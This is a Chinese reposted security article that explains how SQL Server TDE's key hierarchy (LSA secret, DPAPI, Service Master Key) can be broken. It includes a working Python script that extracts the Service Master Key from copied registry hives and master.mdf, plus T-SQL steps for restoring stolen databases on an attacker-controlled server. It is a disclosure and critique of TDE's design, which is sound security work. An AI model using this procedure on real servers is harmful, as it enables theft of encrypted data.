转载

微软SQL Server透明数据加密(TDE)剖析及破解(上)

本次调查开始于一个我和客户讨论:他们是否应该安装TDE。如果我们要选出一个最合适的进行静态数据加密的工具,那么非TDE莫属,但是它有一个明显的缺陷。

视频

任何加密自己数据的软件都有一个功能性问题:如果它希望使用自己的数据,就需要对自身数据进行解密。举个例子,如果SQL服务器想要向加密数据库中写入数据,之后把数据返回给用户,他需要合适的解密密钥进行这个操作。

如果系统还需要在无需人工干预的情况下就可以boot,敏感功能无法被单独嵌入到保护性硬件中,之后密钥必须储存在系统的某个位置中,以便服务器在启动时能够访问它。然而,如果密钥被存储在系统中,那所有人都有接入权限,如果整个系统被北方,密钥也会被备份,所以所有数据都会被轻易读取。

“很明显”,解决方法是在储存所有数据之前加密密钥,微软的TDE就是这么做的。不幸的是,它并没有真的解决这个问题,因为为了解密这个已经加密的密钥,你还需要存储这个用于解密的密钥。所有的这些花里胡哨的行为都是为了掩饰密钥的存储。

显然解决方法还是加密加密的密钥…而这么做的工具呢还是微软的TDE,但是它还是存在相同的问题。它一直这么做。虽然最终你不得不停止增加层数并存储最底层的为加密密钥,只要找到这个密钥,那所有的加密就会瞬间土崩瓦解。

这种基本的、不可避免的逻辑必然性让很多人选择拒绝使用这个软件。大家不相信这样一个看似毫无意义、甚至毫无诚信可言的安全机制是由如此大型的公司出售的,简直太可怕了。一些人必须要看到这个机制之后才能相信,所以我们决定用这篇文章详细解释TDE以及如何破解TDE。

TDE加密

在我们开始破解TDE之前,让我们先看看所有数据是如何被加密的。下面这张图提供了我们所需要的所有加密步骤。如果这种方法不是模糊安全的模范,那我不知道这是什么了。

微软SQL Server透明数据加密(TDE)剖析及破解(上)

实际上是略有变化的,因为在一些情况下,访问相同数据的路径有很多,还有一些整个过程中非常微妙的地方并没有被提到。给出的路径是我们最感兴趣的问题,因为路径很容易被复制。

我们从底层开始介绍,底层最基础的密钥匙LSA密钥,其他层都在这层之上。它被轻微模糊处理(“代替密码”)后储存在磁盘上的注册表中,但是这点是众所周知的,所以它所提供的方式并不安全。

由于LSA密钥和其他几个密钥都储存在其他文件中,整个体系就会分裂。蓝色图表表明啦包含各种信息关键部分的基础文件:

1、注册表备份或者来自%WINDIR%/System32/Config的配置单元文件SYSTEM,SECURITY和SOFTWARE

2、来自%WINDIR%/System32/Microsoft/Protect/S-1-5-18的DPAPI的主键

3、主数据库和目标用户数据库。数据库可以从一个SQL备份文件或raw .mdf文件中恢复。在使用.mdf文件恢复时,拥有相应的.ldf数据库日志文件尽管不是必须的,但是也非常有用。

在知道这些信息后,所有的加密密钥都可以无需暴力破解直接恢复。

破解TDE

从SQL server的角度看,掌控所有的密钥就是Sevice Master Key(SMK)。对每个服务器/集群来说,它都是独一无二的,保护着它上面的每一层。它被储存在从未使用TDE中加密的主数据库中。然而,它在主数据库中被储存成一个加密值,所以还是需要解密。

破解TDE的一般方法是从目标服务区或者备份中拷贝数据库,然后把数据库放在一个新的由我们控制的“恢复”SQL服务器中。通过复制SMK,所有的加密的数据库都会自动被恢复服务器上的SQL服务器自动解密。恢复服务器上的数据可以被查看、导出等。所以我们不需要完全了解SQL服务器使用数据库加密密钥做了什么,因为我们将使用它对付它自己来为我们解密所有内容。

下面这个简单的python脚本用于文件收集以及提取SMK。涉及到的大部分工作都在恢复DPAPI密钥,多亏了creddump和dpapick项目出色的工作,我们成功拿到了这个密钥。

#!/usr/bin/env python  # -*- coding: utf-8 -*-   from DPAPI.Core import blob # https://pypi.python.org/pypi/dpapick/0.3  from DPAPI.Core import masterkey  from DPAPI.Core import registry  from optparse import OptionParser  from Registry import Registry # https://github.com/williballenthin/python-registry  from bitstring import ConstBitStream   import re  import os  import sys   def search_with_blob(entropy, dpapi_system, mkp, tdeblob):    """Try decrypting with each master key"""    wblob = blob.DPAPIBlob(tdeblob)    mks = mkp.getMasterKeys(wblob.mkguid)    for mk in mks:      if mk.decrypted:        wblob.decrypt(mk.get_key(), entropy)        if wblob.decrypted:          print("Decrypted service master key: %s" % wblob.cleartext.encode('hex'))        else:          print("Decryption failed")   def search_with_entropy(entropy, dpapi_system, mkp, masterdb):    """Search for DPAPI blobs in master database"""    masterdb = ConstBitStream(filename = options.masterdb)    for found in masterdb.findall('0x01000000D08C9DDF0115D1118C7A00C04FC297EB', bytealigned = True):      blobsegment = masterdb[found:found+512*8]  # Extraneous bytes ignored      search_with_blob(entropy, dpapi_system, mkp, blobsegment.tobytes())   parser = OptionParser()  parser.add_option("--masterkey", metavar='DIRECTORY', dest='masterkeydir')  parser.add_option("--system", metavar='HIVE', dest='system')  parser.add_option("--security", metavar='HIVE', dest='security')  parser.add_option("--software", metavar='HIVE', dest='software')  parser.add_option("--masterdb", metavar='FILE', dest='masterdb')   (options, args) = parser.parse_args()   reg = registry.Regedit()  secrets = reg.get_lsa_secrets(options.security, options.system)  dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal']   mkp = masterkey.MasterKeyPool()  mkp.loadDirectory(options.masterkeydir)  mkp.addSystemCredential(dpapi_system)  mkp.try_credential_hash(None, None)   with open(options.software, 'rb') as f:    reg = Registry.Registry(f)    regInstances = reg.open('Microsoft//Microsoft SQL Server//Instance Names//SQL')    for v in regInstances.values():      print("Checking SQL instance %s" % v.value())      regInst = reg.open('Microsoft//Microsoft SQL Server//%s//Security' % v.value())      entropy = regInst['Entropy'].value()      search_with_entropy(entropy, dpapi_system, mkp, options.masterdb) 

方便的是,脚本是跨平台的,所以它不需要在Windows机器上运行。这就意味着在目标服务区上不需要安装软件,一些文件渗出(或使用备份)就可以了。

一旦DPAPI密钥被恢复了,这个脚本搜索主数据库获得加密的SMK。这些SMK使用特殊的DPAPI blob结构被加密。DPAPI结构总是包含供应商GUID:df9d8cd0-1501-11d1-8c7a-0c04fc297eb,这个ID很容易被找到。由于主数据库未被加密,我们可以只使用SQL server就能提取ID,但是需要更多的协调和尝试。因为GUID非常受限制,这种快速且卑鄙的在主数据库中直接搜索方法被用于证明概念。这也意味着即使文件格式不同,它也同样适用于SQL备份文件或者本地.dmf文件。

执行只指向所需文件,然后继续:

$ ./tde.py --masterkey=S-1-5-18 --system=SYSTEM --security=SECURITY --software=SOFTWARE --masterdb=master.mdf

其结果是简单的未加密SMK:

Decrypted service master key: 999338193ab37c38c3aa99df062e2f5ca96b7dbc87542af9d61e0dc8a473c1f9

SQL Server有一个方式备份并恢复SMK,使用命令行:

BACKUP SERVICE MASTER KEY TO FILE = 'some-file-to-write-to'      ENCRYPTION BY PASSWORD = 'some-password' 

另外,他们可以被恢复到一个新的服务器,使用命令行:

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from'      DECRYPTION BY PASSWORD = 'some-password' [FORCE] 

另外一些主服务器密钥也可以利用SMK恢复来被解密,数据库访问。不幸的是,我们没有来自目标机器的SMK的备份文件(实际上在很多攻击的情况下,我们可以只知性备份命令,但是没有进行备份恢复等)。

在这个例子里,我们有一个恢复等原始密钥,但是没有备份文件,一个明显的安装SMK的方式是在恢复计算机上使用DPAPI系统凭证加密SMK,然后储存在主数据库中。dpapick库目前并不支持加密,我很烦躁啊,所以我跳过了现在这个不花太多时间和精力的方法。相反,我使用了那种快速卑鄙的方法,创建一个SMK备份文件,但是它手动操作较多。这些都是可以被简化的,但是为了证明这个概念,我使用了一个简单的cuckoo’s egg方法,视频中展示了这个方法-终端到中断的恢复demo。这种方法使用恢复密钥生成一个SMK备份文件,我们可以再我们的恢复SQL server上进行恢复。

下面这些步骤是使用新的SMK备份文件恢复一个TDE备份(来自.bak文件)来恢复服务器:

1、使用单用户模式启动SQL server(-m startup option)

2、恢复主数据库

RESTORE DATABASE MASTER FROM DISK = 'c:/.../master.bak' WITH REPLACE;

3、重启SQL服务(仍然是单用户模式)

4、添加管理员用户/重置管理员密码

5、在普通多用户模式下重启服务

6、使用FORCE选项恢复SMK

ESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from'      DECRYPTION BY PASSWORD = 'some-password' FORCE

7、恢复目标数据库

8、刷新数据库列表

下面这些步骤用于恢复.MDF/.LDF文件:

1、停止SQL服务

2、复制 .mdf/.ldf文件,代替现在的主数据库

3、在单用户模式下开启SQL服务器(-m startup option)

4、增加管理员用户/重置管理员密码

5、在普通多用户模式下重启服务

6、使用FORCE选项恢复SMK

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from'      DECRYPTION BY PASSWORD = 'some-password' FORCE

7、离线拿下目标数据库

8、让目标数据库再次在线

9、刷新数据库列表

在这点上,我们完全恢复并能够访问加密数据库

在上面的内容中,我们介绍了TDE机制及如何破解TDE,之后的文章我们将继续深入TDE,揭秘是否应该继续使用TDE。

* 原文链接: simonmcauliffe ,FB小编FireFrank编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/articles/network/99831.html
正文到此结束
Loading...